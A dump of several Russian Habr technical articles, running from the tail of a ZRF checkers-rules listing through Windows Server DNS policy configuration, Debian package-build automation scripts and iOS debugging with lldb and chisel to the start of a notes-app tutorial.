(king-jump-2 nw sw ne) (king-jump-2 ne se nw) (king-jump-2 sw se nw) (king-jump-2 se ne sw)
(king-jump-3 nw sw ne) (king-jump-3 ne se nw) (king-jump-3 sw se nw) (king-jump-3 se ne sw)
(king-jump-4 nw sw ne) (king-jump-4 ne se nw) (king-jump-4 sw se nw) (king-jump-4 se ne sw)
(king-jump-5 nw sw ne) (king-jump-5 ne se nw) (king-jump-5 sw se nw) (king-jump-5 se ne sw)
(king-jump-6 nw sw ne) (king-jump-6 ne se nw) (king-jump-6 sw se nw) (king-jump-6 se ne sw)
(move-type normaltype)
(king-jump-1 nw sw ne) (king-jump-1 ne se nw) (king-jump-1 sw se nw) (king-jump-1 se ne sw)
(king-jump-2 nw sw ne) (king-jump-2 ne se nw) (king-jump-2 sw se nw) (king-jump-2 se ne sw)
(king-jump-3 nw sw ne) (king-jump-3 ne se nw) (king-jump-3 sw se nw) (king-jump-3 se ne sw)
(king-jump-4 nw sw ne) (king-jump-4 ne se nw) (king-jump-4 sw se nw) (king-jump-4 se ne sw)
(king-jump-5 nw sw ne) (king-jump-5 ne se nw) (king-jump-5 sw se nw) (king-jump-5 se ne sw)
(king-jump-6 nw sw ne) (king-jump-6 ne se nw) (king-jump-6 sw se nw) (king-jump-6 se ne sw)
(king-shift-1 ne) (king-shift-1 nw) (king-shift-1 se) (king-shift-1 sw)
(king-shift-2 ne) (king-shift-2 nw) (king-shift-2 se) (king-shift-2 sw)
(king-shift-3 ne) (king-shift-3 nw) (king-shift-3 se) (king-shift-3 sw)
(king-shift-4 ne) (king-shift-4 nw) (king-shift-4 se) (king-shift-4 sw)
(king-shift-5 ne) (king-shift-5 nw) (king-shift-5 se) (king-shift-5 sw)
(king-shift-6 ne) (king-shift-6 nw) (king-shift-6 se) (king-shift-6 sw)
(king-shift-7 ne) (king-shift-7 nw) (king-shift-7 se) (king-shift-7 sw)
(move-type notype)
)
)
)
```
Может показаться, что на этом мои мытарства закончились и я получил корректную работающую реализацию «Русских шашек с зевками», но всё не так просто. Во первых, включение опции "**maximal captures**" возвращало к жизни баг, описанный мной в одной из предыдущих [статей](http://habrahabr.ru/post/254947/). В какой-то момент игры, под управлением AI, программа переставала видеть возможность взятия своими фигурами (а поскольку код, выполняющий проверку за противника такую возможность видел, он брал шашки «за фук» буквально на ровном месте).
Я уже научился бороться с подобным багом в «Checkers Collection» и даже выложил соответствующее [исправление](http://zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2351), но в варианте «с зевками» этот метод почему-то не сработал.
Но и это лишь часть проблемы. На иллюстрации выше, белая дамка должна взять фигуры на **d6** и **f6**, попав под бой **h8**. Конечно, она может «зевнуть», выполнив тихий ход или оставшись на месте, но в этом случае, её можно будет взять «за фук». Сложность заключается в том, что никакими техническими средствами я не могу «заставить» белую дамку продолжить бой. Она может уйти на **f4** или **g3** и пометка «зевка» всё равно будет снята. Некоторые вещи реализовать на ZRF корректно попросту невозможно. | https://habr.com/ru/post/258437/ | null | ru | null |
# Новые возможности сервера DNS в Windows Server Technical Preview 2
> Автор статьи — Андрей Каптелин, участник ИТ-сообщества
С выходом Windows Server Technical Preview 2 многие службы получили обновления. Не обошли обновления стороной и заслуженный сервер имен DNS. Помимо поддержки управления DNS-сервером из PowerShell, появилась новая возможность – DNS policy.
DNS policy – это расширение DNS-сервера для адаптации его работы в зависимости от содержания приходящих запросов. Благодаря первоочередному применению политик на поступивший запрос, можно существенно облегчить работу сервера, отсеяв заведомо ненужные запросы, либо указав серверу, изменить содержание ответа в соответствии с описанными правилами.
Принцип работы
==============
Политики применяются к трем категориям запросов:
* **Запрос на разрешение записи**. Все обычные запросы на разрешение имени в IP-адрес, или получение значений TXT-, MX- и SRV-записей.
* **Запрос на передачу зон**. Запросы от ваших вторичных серверов на обновление информации о зоне. Если такой запрос будет выполнен для чужого сервера, он получит всё содержимое вашей зоны.
* **Запрос, для выполнения которого нужно выполнить рекурсивный запрос**. Например, клиент запросил имя, находящееся не в ваших зонах. Сервер должен переспросить вышестоящий сервер для получения результата. Для внешних клиентов обрабатывать такие запросы нужно не всегда.
Область применения политики может быть, как на весь сервер, так и на конкретную зону, если эта зона не интегрирована в Active Directory.
Политики DNS-сервера позволяют реализовать следующие действия:
* Создавать зону с различным набором записей.
* Классифицировать клиента по его IP-адресу и использовать это в правилах применения политик.
* Применять политики на весь сервер и на зоны, не интегрированные в АД.
* Применять различные политики в зависимости от интерфейса, получившего запрос.
* Применять политики в зависимости от времени суток.
* Применять политики по типу запрашиваемых записей.
* Отвечать на запросы данными из различных версий зоны в заданных пропорциях, похоже на управляемый Round Robin.
* Применять политики для пересылки зон.
* Применять нужную политику по фильтру, если для завершения запроса нужно выполнить рекурсию.
* Располагать политики в нужном порядке обработки.
Все созданные политики сохраняются в реестре в следующих разделах:
Заданные подсети, используемые в правилах применения политик, хранятся в разделе реестра
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server\ClientSubnets
```
Политики, применяемые на сервер, хранятся в разделе реестра
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server\Policies
```
Политики, применяемые к конкретной зоне, хранятся в разделе реестра
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server\Zones\{имя зоны}\Policies
```
Зоны, используемые в правилах рекурсивных запросов, хранятся в разделе реестра
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerScopes
```
Значение о состоянии рекурсии для всего сервера (используется зона ".") хранится в разделе
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
```
Ключ *NoRecursion* равен «0» — рекурсия включена, «1» — выключена. Переключение из включенного в выключенное состояние, требует перезапуска службы DNS-сервера.
Если для зоны создается альтернативное содержание (**Add-DnsServerZoneScope**), оно помещается в файле, размещенном в
**C:\Windows\System32\dns\{имя зоны}**
А конфигурация записывается в реестр
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server\Zones\{имя_зоны}\ZoneScopes\
```
При удалении альтернативной версии зоны, запись в реестре удаляется, а файл альтернативного содержания остаётся на месте.
Несмотря на обилие мест расположения настроек, для их изменений достаточно несколько команд PowerShell.
Для работы с политиками запросов разрешения записи и рекурсивных запросов:
**Add-DnsServerQueryResolutionPolicy**
**Get-DnsServerQueryResolutionPolicy**
**Set-DnsServerQueryResolutionPolicy**
**Remove-DnsServerQueryResolutionPolicy**
Для работы с запросами по передаче зон:
**Add-DnsServerZoneTransferPolicy**
**Get-DnsServerZoneTransferPolicy**
**Set-DnsServerZoneTransferPolicy**
**Remove-DnsServerZoneTransferPolicy**
Действия выполнения политик могут быть следующие:
**-Action ALLOW** – запрос выполняется сервером DNS
**-Action DENY** – сервер DNS отвечает отказом
**-Action IGNORE** – запрос не обрабатывается сервером DNS
Для понимания этапов обработки политик есть следующие схемы прохождения запроса.
Схема обработки запросов разрешения записи и рекурсивных запросов:
Схема обработки запросов на передачу зон:
Примеры
=======
### Настройка ограничения выполнения рекурсивных запросов
Есть задача настроить DNS-сервер на выполнение рекурсивных запросов только для внутренних клиентов. Сервер имеет два сетевых интерфейса. У внешнего IP-адрес 1.1.1.1, у внутреннего интерфейса IP-адрес 10.0.0.39. Можно выполнить эту задачу, ограничив выполнение таких запросов только внутренним интерфейсом. Для этого необходимо запретить рекурсивные запросы на уровне сервера и разрешить только для запросов, полученных внутренним интерфейсом.
```
# Запрещаем рекурсию на область «.» - т.е. на уровне сервера
Set-DnsServerRecursionScope -Name . -EnableRecursion $False
# Добавляем область для внутренних клиентов с разрешением выполнения рекурсивных запросов
Add-DnsServerRecursionScope -Name "InternalClients" -EnableRecursion $True
# Создаём правило, разрешающее рекурсивные запросы
Add-DnsServerQueryResolutionPolicy -Name "SplitBrainRecursionPolicy" -Action ALLOW -ApplyOnRecursion -RecursionScope "InternalClients" -ServerInterfaceIP "EQ,10.0.0.39"
```
Разберём команду создания политики подробнее.
**Add-DnsServerQueryResolutionPolicy** – командлет создания политики обработки запросов на разрешение записей и рекурсивных запросов.
**-Name «SplitBrainRecursionPolicy»** – имя политики
**-Action ALLOW** – действие политики – выполнить запрос
**-ApplyOnRecursion** – политика обрабатывает только запросы, для которых нужно выполнить рекурсивный запрос
**-RecursionScope «InternalClients** – получает значение разрешения или запрета рекурсии заданной ранее области
**-ServerInterfaceIP „EQ,10.0.0.39“** – правило применения политики – только запрос, пришедший на интерфейс сервера с IPv4-адресом равным 10.0.0.39.
### Модификация ответа на запрос разрешения имени
В компании есть отказоустойчивый веб-сервер, размещенный на двух площадках – в Европе и в Австралии. Скорость работы обоих площадок всегда одинакова, но в ночные часы стоимость аренды меньше. Компания решила задействовать площадки в зависимости от времени суток. Для этого принято решение распределять запросы клиентов в процентном отношении 80/20 на ночной и дневной датацентр.
```
# Создаём версии зоны для Европы и Австралии
Add-DnsServerZoneScope -ZoneName "testzone.z" -Name "EuropeDC"
Add-DnsServerZoneScope -ZoneName "testzone.z" -Name "AustralianDC"
# Создаём запись для веб-сервера в новых зонах с указанием на разные датацентры
Add-DnsServerResourceRecord -ZoneName "testzone.z" -A -Name "www" -IPv4Address "1.1.1.1" -ZoneScope "EuropeDC"
Add-DnsServerResourceRecord -ZoneName "testzne.oz" -A -Name "www" -IPv4Address "2.2.2.2" -ZoneScope "AustralianDC"
# Создаём политики обработки запросов по наших условиям
Add-DnsServerQueryResolutionPolicy -Name "www-6-18" -Action ALLOW -ZoneScope "AustralianDC,4;EuropeDC,1" –TimeOfDay “EQ,06:00-18:00” -ZoneName "testzone.z" –ProcessingOrder 1
Add-DnsServerQueryResolutionPolicy -Name "www-0-6" -Action ALLOW -ZoneScope "AustralianDC,1;EuropeDC,4" –TimeOfDay “EQ,00:00-06:00” -ZoneName "testzone.z" –ProcessingOrder 2
Add-DnsServerQueryResolutionPolicy -Name "www-18-24" -Action ALLOW -ZoneScope "AustralianDC,1;EuropeDC,4" –TimeOfDay “EQ,18:00-23:59” -ZoneName "testzone.z" –ProcessingOrder 3
```
Разберём команду создания политики подробнее.
**Add-DnsServerQueryResolutionPolicy** – командлет создания политики
**-Name „www-6-18“** – имя политики
**-Action ALLOW** – действие политики – выполнить запрос
**-ZoneScope „AustralianDC,4;EuropeDC,1“** – указывает политике, использовать две версии зоны в пропорциях 4 к 1, получая требуемое соотношение 80% к 20% в выдаче данных из версии зоны для Европы и Австралии
**–TimeOfDay “EQ,06:00-18:00”** – Время действия политики
**-ZoneName „testzone.z“** – имя зоны, для которой действует политика
**–ProcessingOrder 1** – очередность применения политики, для политик этой зоны
### Ограничение запросов на передачу зон
В компания имеется основной DNS-сервер для внешних зон и два вторичных DNS-сервера, размещенных у разных провайдеров. Запретить сетевым экраном обращение к основному серверу по протоколу TCP на 53-й порт не представляется возможным, т.к. зоны имеют записи, превышающие размер пакета UDP. Решено использовать для этих целей DNS policy.
```
# Создаём диапазоны адресов наших вторичных DNS-серверов
Add-DnsServerClientSubnet -Name "DNSsecondary1" -IPv4Subnet 4.4.4.4/32
Add-DnsServerClientSubnet -Name "DNSsecondary2" -IPv4Subnet 5.5.5.5/32
# Создаём политику обработки запросов на перенос зон
Add-DnsServerZoneTransferPolicy -Name "Allow secondary DNS" -ZoneName "testzone.z" -Action IGNORE -ClientSubnet "ne,DNSsecondary1,DNSsecondary2"
```
Разберём команду создания политики подробнее.
**Add-DnsServerZoneTransferPolicy** – командлет создания политики обработки запросов на перенос зон
**-Name „Allow secondary DNS“** – название политики
**-ZoneName „testzone.z“** – название зоны, для которой будет действовать политика
**-Action IGNORE** – действие политики
**-ClientSubnet „ne,DNSsecondary1,DNSsecondary2“** – условие применения для всех кроме наших серверов
Как видно, для решения многих задач теперь можно использовать DNS policy. Правильно описав правила прохождения запросов к DNS-серверу, можно не только оптимизировать работу сервисов, но и снизить нагрузку на DNS-сервер, отфильтровав ненужные запросы.
Ссылки по теме
==============
[DNS Policies Overview](https://technet.microsoft.com/en-US/library/mt169379.aspx)
[Статьи в блоге Windows Networking Team [MSFT]](http://blogs.technet.com/b/askpfeplat/archive/2015/07/13/dns-policies-coming-in-windows-server-2016.aspx) | https://habr.com/ru/post/262789/ | null | ru | null |
# Стать мэинтейнером — обновляем репозиторий
Данная статья, не направлена на решение каких-либо фундаментальных проблем, но помогает, прилагая минимум усилий, автоматизировать сборку пакетов для вашего публичного репозитория.
Допустим, вы собираете для ваших любимых пользователей десять пакетов, да каждый под два дистрибутива (допустим, Debian unstable и Ubuntu jaunty), да еще и каждый под две архитектуры (amd64 и i386). Помните, мы с вами [узнали](http://habrahabr.ru/blogs/ubuntu/51427/) про замечательный инструмент для создания репозиториев — reprepro. Так вот с тех пор он так и не научился включать в репозиторий пакеты пачками — только по одному. А это значит, что вам придётся вводить вашу gpg-подпись 10\*2\*2=40 раз. А как эффективно собирать эти 10 пакетов, особенно, если они обновляются ежедневно?
На самом деле, у меня ситуация была ещё хуже. В общей сложности при обновлении репозитория qutIM мне приходилось вводить свой отнюдь не короткий gpg-ключ аж 176 (сто семьдесят шесть) раз. Надо сказать, что к тому моменту, когда мне это окончательно надоело и перебороло мою лень, я выполнял эту процедуру всего за 3 минуты — по секунде на ввод. Но не будем вас истязать, сразу исправим ситуацию. Итак, устанавливаем пакет gnupg-agent и редактируем свой файл **~/.bashrc**, добавляя в конце следующие строки:
> `1. *#*
> 2. *# запоминалка паролей для GnuPG*
> 3. *#*
> 4. gpg-agent --daemon --enable-ssh-support --write-env-file "${HOME}/.gpg-agent-info"
> 5. **if** **[** -f "${HOME}/.gpg-agent-info" **]**; **then**
> 6. . "${HOME}/.gpg-agent-info"
> 7. **export** GPG\_AGENT\_INFO
> 8. **export** SSH\_AUTH\_SOCK
> 9. **export** SSH\_AGENT\_PID
> 10. **fi**`
Теперь при старте локальной консоли у вас будет запускаться gpg-агент, «запоминающий» введенный вами gpg-ключ на некоторое время. Вуаля, мы избавились от одной большой проблемы.
Что дальше? Дальше сборка пакетов. Я расскажу про нее на примере всё того же моего любимого qutIM'а: в числе собираемых мною пакетов есть те, которые чуть ли не ежедневно обновляются из svn, а есть те, которые были скачаны один раз, и с тех пор просто пересобираются при обновлении ядра qutIM.
Для начала я расскажу немножко о том, как организована структура каталогов и именования пакетов у меня, чтобы было понятнее.
В корне сборочного каталога у меня изначально лежит только скрипт для сборки и каталоги тех пакетов, которые не обновляются из svn, например, qutim-plugin-floaties. В корень сборочного же каталога выкачиваются все каталоги исходников из svn и кладутся собранные пакеты. Еще в этом каталоге у меня есть замечательный подкаталог controls, в котором лежат debian-папки для пакетов. Например, чтобы найти debian-папку для пакета qutim-protocol-jabber, я обращаюсь по адресу controls/qutim-protocol-jabber/debian/
Ну а в каталоге rep/ у меня лежат каталоги репозиториев для разных дистрибутивов — rep/jaunty/, rep/unstable/ и т.д.
От этого и будем отталкиваться.
Итак, начнём с шапки нашего шелл-скрипта, который будет заниматься сборкой:
> `1. *#!/bin/bash*
> 2. BUILDERRORS="" *# переменная, куда пишутся ошибки сборки*
> 3. MAJORVERSION="0.2a" *# главная версия каждого пакета*
> 4. DISTRIBUTIONS="unstable testing stable jaunty" *# названия репозиториев*`
Теперь давайте напишем две маленькие простые функции, одна из которых будет просто собирать пакет из текущего каталога для всех дистрибутивов и архитектур, а вторая будет обновлять версии пакетов во всех наших pbuilder-оболочках.
> `1. build\_it **(****)** **{**
> 2. OLDDIR=**`****pwd****`**
> 3. **cd** $1
> 4. **for** i **in** $DISTRIBUTIONS; **do**
> 5. **for** j **in** i386 amd64; **do**
> 6. DIST=$i ARCH=$j pdebuild -- --basetgz **/**var**/**cache**/**pbuilder**/**$i-$j-base.tgz
> 7. **if** **[****[** $? **!**= "0" **]****]**
> 8. **then**
> 9. BUILDERRORS="$BUILDERRORS
> 10. $1 - $i - $j"
> 11. **fi**
> 12. **done**
> 13. **done**
> 14. **cd** $OLDDIR
> 15. **}**
> 16.
> 17. update\_it **(****)** **{**
> 18. **echo** "Updating pbuilder environments..."
> 19. **for** i **in** $DISTRIBUTIONS; **do**
> 20. **for** j **in** i386 amd64; **do**
> 21. DIST=$i ARCH=$j pbuilder --update --basetgz **/**var**/**cache**/**pbuilder**/**$i-$j-base.tgz
> 22. **if** **[****[** $? **!**= "0" **]****]**
> 23. **then**
> 24. BUILDERRORS="$BUILDERRORS
> 25. Updating - $i - $j"
> 26. **fi**
> 27. **done**
> 28. **done**
> 29. **}**`
Всё просто, не правда ли? Первая функция будет получать на вход имя каталога, заходить туда и пытаться собрать пакет под все архитектуры. Второй не надо вообще ничего, она просто обновляет все pbuilder-оболочки. Заметим, что обе команды в случае ошибок ничего не делают, просто дописывают сообщение в лог ошибок.
Теперь нам надо сделать универсальную функцию, которая будет собирать наши пакетики. Все пакеты отличаются друг от друга названием, версией и местом, откуда их брать. Это и будем использовать. Во-первых, в тех файлах debian/changelog, которые у меня хранятся в папке controls, я вместо версии везде прописал "--VERSION--". А во-вторых, написал вот такую замечательную маленькую функцию:
> `1. make\_package **(****)** **{**
> 2. \_REV=$1
> 3. \_URL=$2
> 4. \_NAME=$3
> 5. \_DIR=$4
> 6. \_BREV=$5
> 7. DIRNAME=""
> 8. PACKAGENAME=""
> 9. **if** **[****[** $\_URL **!**= "" **]****]**
> 10. **then**
> 11. **rm** -rf "$\_DIR"
> 12. **export** $\_REV=**`**LANG=C **svn** **export** $\_URL $\_DIR **|** **awk** '$1=="Exported" && $2=="revision" {print $3}' **|** **sed** 's/.$//'**`**
> 13. **if** **[****[** ${!\_REV} = "" **]****]**
> 14. **then**
> 15. **echo** "Error! Can't get $\_NAME revision!" **&&** **exit** 1
> 16. **fi**
> 17. **echo** "Received $\_NAME revision: ${!\_REV}"
> 18. **else**
> 19. **export** $\_REV="1"
> 20. **fi**
> 21. **export** REVISION="${!\_REV}"
> 22. DIRNAME="${\_DIR}-${\_BREV}.${!\_REV}"
> 23. PACKAGENAME="${\_DIR}\_${\_BREV}.${!\_REV}"
> 24. **echo** "$\_NAME directory is: $DIRNAME"
> 25. **rm** -rf "${PACKAGENAME}.orig.tar.gz" "$DIRNAME"
> 26. **cp** -r "$\_DIR" "$DIRNAME"
> 27. **tar** czf "${PACKAGENAME}.orig.tar.gz" "$DIRNAME"
> 28. **echo** "$\_NAME source archive is: ${PACKAGENAME}.orig.tar.gz"
> 29. **cp** -r "controls/${\_DIR}/debian" "$DIRNAME/"
> 30. **sed** -i "s#--VERSION--#${\_BREV}.${!\_REV}-1#" "$DIRNAME/debian/changelog"
> 31. **echo** "Building $\_NAME..."
> 32. build\_it "$DIRNAME"
> 33. **}**`
Давайте поподробнее посмотрим, что делает эта функция. На вход мы передаем последовательно пять параметров:
* имя переменной, куда положить номер скачанной ревизии;
* адрес, откуда выкачивать исходники;
* имя пакета, как его обзывать в лог-сообщениях;
* имя debian-пакета;
* «старший» номер версии
Функция универсальна — если передан URL, то из него выкачиваются исходники и автоматически создается архив .orig.tar.gz. Если не передан — то он создаётся из уже имеющегося каталога.
Теперь пакет можно собрать одной просто строчкой:
> `1. make\_package "QREV" "qutim.org/svn/qutim" "qutIM" "qutim" "$MAJORVERSION"`
Для чего нужен самый первый передаваемый параметр QREV? При сборке пакета мы передаем qutIM «старшую» версию «0.2a» и получаем версию самого пакета, например, «0.2a.294-1». Если я собираю пакет протокола, то я хочу, чтобы в его версию входила и версия ядра:
> `1. make\_package "MRIM\_REV" "qutim.org/svn/mrim" "MRIM" "qutim-protocol-mrim" "$MAJORVERSION.$QREV"`
На выходе получим версию «0.2a.294.357-1». Не правда ли, удобно? Таким образом мы всегда знаем, какую версию исходников мы получили.
Если пакет у нас есть локально и я его просто пересобираю, без выкачивания из svn — не беда, просто передадим в качестве URL пустой параметр:
> `1. make\_package "FLOATIES\_REV" "" "Floaties" "qutim-plugin-floaties" "$MAJORVERSION.$QREV"`
Нам осталась самая малость — обновить пакеты в репозитории, выложить его с билд-машины на сервер и сообщить, при сборке каких пакетов у нас были ошибки:
> `1. **echo** "Copying packages to local repository..."
> 2. **for** j **in** $DISTRIBUTIONS; **do**
> 3. **for** i **in** **`****ls** **/**var**/**cache**/**pbuilder**/**$j**/**result**/\***amd64.changes**`**; **do**
> 4. reprepro -b rep**/**$j**/** --ignore=wrongdistribution -C main include $j $i
> 5. **done**
> 6. **for** i **in** **`****ls** **/**var**/**cache**/**pbuilder**/**$j**/**result**/\***\_i386.deb**`**; **do**
> 7. reprepro -b rep**/**$j**/** --ignore=wrongdistribution -C main includedeb $j $i
> 8. **done**
> 9. **done**
> 10.
> 11. **echo** "Updating main repository..."
> 12. **scp** -r rep**/\*** remotehost:**/**path**/**to**/**repo**/**
> 13.
> 14. **echo** "Done."
> 15. **if** **[** "$BUILDERRORS" **]**;
> 16. **then**
> 17. **echo** "There were errors in: "
> 18. **echo** "$BUILDERRORS"
> 19. **fi**`
Заметьте, поскольку мы «прикрутили» к нашей консоли gpg-agent, нам больше не нужен ключ --ask-passphrase для reprepro.
Все эти замечательные скрипты не только позволяют мне теперь добавлять новые пакеты в репозиторий простой подготовкой каталога debian/ для пакета и одной строчкой в скрипте, но и совершенно не требуют моего внимания. Для сборки я теперь запускаю свой скрипт, и ухожу по своим делам. Вернувшись через несколько часов я ввожу один раз ключ gpg и один раз — пароль от удаленного сервера репозитория. Просто и удобно.
P.s. Информация для любителей экспериментировать: помимо удобного reprepro есть еще официальная утилита dak, которую используют для репозиториев как минимум в Debian. Я ей никогда не пользовался, поскольку для работы она использует PostgreSQL и неправоверный язык python (холиварить по этому поводу не буду, и не просите). Но желающие могут попробовать.
P.p.s. Для тех, кто захочет применять скрипты у себя, предлагаю полный используемый у меня скрипт. Редактируйте для себя на здоровье: [pastebin.com/f3289286a](http://pastebin.com/f3289286a) | https://habr.com/ru/post/61644/ | null | ru | null |
# Облегчаем поддержку iOS приложения. Часть 1 — не отрываясь от Xcode
Добрый день. Я хотел бы рассказать о том, как можно облегчить поддержку iOS приложений.
1. [Облегчаем поддержку iOS приложения. Часть 1 — не отрываясь от Xcode](http://habrahabr.ru/post/254563/)
2. [Облегчаем поддержку iOS приложения. Часть 2 — локация и сеть](http://habrahabr.ru/post/254891/)
3. Облегчаем поддержку iOS приложения. Часть 3 — падение и логи
Всем, кто создавал iOS приложение, и оно доходило хотя бы до открытого β-тестирования, скорее всего, знакома фраза: “Я тут поигрался с приложением и вот что получилось...”. И вот после этой фразы вы могли провести несколько часов, пытаясь понять, как же «это» получилось.
Если вам знакома эта ситуация, или хочется узнать о том, как спасти себя от такого в будущем — прошу под кат.
И так, мы создали приложение для себя или для заказчика и идет процесс тестирования. Тестировщики, как и заказчик, могут быть за 1000км от вас. Так что, давайте рассмотрим несколько ситуаций, при которых вам сообщают о странном баге, и вам либо трудно, либо вообще никак не воспроизвести его.
#### **Хит парада — трудно воспроизвести или трудно дебажить.**
То есть, либо до проблемы трудно добираться (нужно далеко забраться в приложение с очень особыми условиями, да хоть погода за окном должна быть именно -40, а локация ваша должна быть на экваторе), либо надо много раз повторять одно и то же действие. В последнем случае, то, что вы на каждой итерации попадаете в breakpoint, как-то раздражает, но именно на этой строке кода должно что-то произойти, нам очень надо остановиться именно на ней, когда нам повезет воспроизвести баг.
Все, кто разрабатывает приложения для iOS/MAC, обязательно ставили брейкпоинты и пытались понять, что же происходит перед тем, как приложение падает/ведет себя некорректно. К сожалению, зачастую разработчики используют малую часть функционала, который им доступен. Перерыл Хабр и нашел всего одну статью о полнофунциональном использовании breakpoint’ов. Про отладку приложения с помощью **lldb** вообще глухо (ну или мои поисковые способности не позволили мне найти нужную статью).
###### **Брейкпоинты**
Отличная [статья](http://habrahabr.ru/post/169353/), но я не увидел там описания **Symbolic breakpoint**. Так что, рекомендую ознакомится со статьей, а я расскажу вам о **Symbolic breakpoint'ах**.
И так, вы смогли получить тот самый запуск, который воспроизводит некорректное поведение. И, допустим, оно происходит, когда **UIViewController** только появился, но вот незадача, у вас нету имплементированного метода **-[MyViewController viewDidAppear:]** и нету ни делегата у **UINavigationViewController**, ни чего-то похожего в вашем коде, что помогло бы поставить breakpoint в нужный момент. Именно в этой ситуации вам и пригодятся **Symbolic breakpoint**.
Вам лишь надо вбить символ **-[UIViewController viewDidAppear:]**
и вы остановитесь в нужный момент.
Еще одно очень полезное применение **Symbolic breakpoint** — вам достался проект от другого разработчика и есть описание проблемы от тестировщика. И вы понимаете, как попасть туда в приложении, но как сопоставить это с кодом? База кода может быть колоссальной, и анимация намекает, что происходит **-[UINavigationController pushViewController:animated:]**, но вот где это происходит — не ясно. Добавляем **Symbolic breakpoint**: **-[UINavigationController pushViewController:animated:]** и мы остановимся на всех вызовах этого метода.
Однако, при использовании **Symbolic breakpoint** для системных функций, у вас нету ни **self**, ни **\_cmd**, ничего, что обычно доступно. Так что вам придется подбираться к конроллеру снаружи, и поможет вам **lldb**.
###### **LLDB**
Во время запуcка приложения нажмите на паузу — видите **(lldb)**? Это консоль дебагера. Есть много полезных команд, которые он умеет выполнять, и самая первая — это **help**. Теперь можете увидеть остальные полезные команды.
Самая популярная — это **po**(print object). Она распечатывает **-[NSObject debugDescription]**, в отличие от **NSLog**, который выводит **-[NSObject description]**. Стоит иметь это ввиду, когда вы переопределяете description для более удобного логирования в приложении, **не забудьте еще и debugDescription**.
Продолжим с того места, где остановились: у вас есть консоль и вы в нужном месте приложения. Но, как минимум, надо получить полную иерархию **UIView** и неплохо бы все ivar'ы **MyViewController**?
Чтобы узнать указатель на UIWindow нашего приложения, нам надо набрать
```
po [[[UIApplication sharedApplication] delegate] window]
```
Мы получили указатель на UIWindow, давайте теперь получим указатель на **rootViewController**
```
po [(UIWindow *) rootViewController]
```
Теперь у нас есть указатель на главный контроллер. Аналогичными манипуляциями мы можем дойти до нужного нам контроллера, идя по child'ам или же по property'ям.
И так, у нас есть указатель на наш **MyViewController**. Допустим, нам нужен его целочисленный **\_ivar**, property для него никто не создавал (незачем нам лишние getter и setter).
Набираем
```
po ((MyViewController *))->\_ivar
```
Теперь у нас есть все, что нужно.
Вывод информации об объектах — только часть функционала. Вы хотите, чтобы на девайсе анимация стала медленнее, как в симуляторе по нажатию **Toggle Slow Animations**? Вот вам вариант, как это можно сделать, не перезапуская приложение
```
expr -- ((CALayer *)[[[[UIApplication sharedApplication] delegate] window] layer]).speed = 0.2
```
Готово — на время этого запуска у вас медленные анимации и вы можете так делать именно в нужный момент времени и именно в этот запуск. А как надоест, верните значение **1**.
Может, эти примеры наивны, но они дают понять базовый функционал. И да, помните, я описал невероятный расклад — **-40 && экватор.** Теперь вам никто не мешает подменить значения на лету, перед выполнением критичного куска кода, и все будет выглядеть, как будто вы на экваторе и за окном у вас -40.
###### **chisel**
Есть один большой минус в предыдущем описании — очень долго и дорого идти до нужного контроллера. Но есть проект, который вам поможет — [chisel](https://github.com/facebook/chisel). Этот товарищ многое умеет, список команд можно найти [тут](https://github.com/facebook/chisel#commands). Если у вас непонятно как лежит вью, потому что она прозрачная, то можно подсветить границы (к примеру, командой mask). Можно, зная текст на кнопке, найти ее (команда pa11y). А если заранее подготовится и сделать так, что текст accessibilityLabel соответствует тексту элемента, то искать можно что угодно. После установки **chisel**, список его команд добавится в полный список того, что умеет **lldb**.
Для меня хит парада — это **pviews** и **pvc**. Эти команды выведут иерархию UIView и UIViewController. Если вдруг нужно понять, что за команда и как она работает — набираем **help <имя команды>**.
В общем, рекомендую ознакомиться с этим инструментом, или хотя бы поставить, потому что, когда прижмет и у вас все-таки воспроизведется проблема — остается только рвать волосы на голове, если нету такого помощника под рукой.
Прелестные функции lldb и chisel не заканчиваются вышеперечисленными. В них можно углубляться без конца. Но, на большинстве некрупных проектов, этого будет вполне достаточно.
###### **Attach to Process**
Предположим, что хороший задел для дебагинга у нас есть, мы поставили **chisel**, и теперь можем в нужный момент в **lldb** набрать **help** и, благодаря вшитым и доп. командам, понять, что же у нас не так, вот именно тут и вот именно на этом запуске. Все это мы можем сделать, пока наше приложение запущено из Xcode на девайсе или симуляторе. А что же делать, если мы словили баг просто в процессе использования приложения на девайсе? Можно успеть подойти к Xcode и попросить его присоединиться к приложению. Для этого вам нужно Xcode→Debug→Attach to Process. Можно по имени приложения, но у меня Xcode сам угадывает target.
###### **Заключение**
Сегодня мы рассмотрели случай, когда у вас есть приложение, идет β-тестирование, есть невероятное описание или же непонятный результат, и никаких идей, как же так получилось. Надеюсь, теперь у вас есть направление, чтобы начать расследование. | https://habr.com/ru/post/254563/ | null | ru | null |
# Создаём одинаковое приложение 5 раз
На написание этой статьи меня вдохновил YouTube-канал Fireship, записывающий отличные видео о веб-разработке, крайне рекомендую их посмотреть, если вам интересна эта тема.
Вот видео с канала, в котором в 10 фреймворках создают todo-приложение:
Я решил, что не хочу тратить на это кучу времени, и в основном использовал статью как оправдание для изучения нескольких новых фреймворков, поэтому пять раз собрал одно и то же приложение. Я планирую создать простое приложение для добавления заметок, в котором пользователи могут писать текст и сохранять его как отдельные заметки. Некоторые из этих фреймворков я уже использовал для создания подобных приложений, а в других не делал ничего похожего, или даже не использовал их вообще, поэтому это будет чуть сложнее.
Создаём приложение
------------------
### jQuery
Чтобы упростить создание приложения без фреймворка, я буду использовать jQuery. Начал я с создания базовой структуры файлов и открытия `index.html`. Если вам любопытно, структура файлов выглядит так:
По сути, у меня есть таблица стилей в SCSS, которую я скомпилирую в CSS, и на этом пока всё. Разметка html выглядит пока так, но в дальнейшем я её расширю:
```
Notes App
Notes App
=========
```
Таблица стилей выглядит так:
```
body {
height: 100%;
width: 100%;
margin: 0;
}
.container {
width: 100%;
height: auto;
margin: 0;
display: flex;
flex-direction: column;
header {
display: flex;
align-items: center;
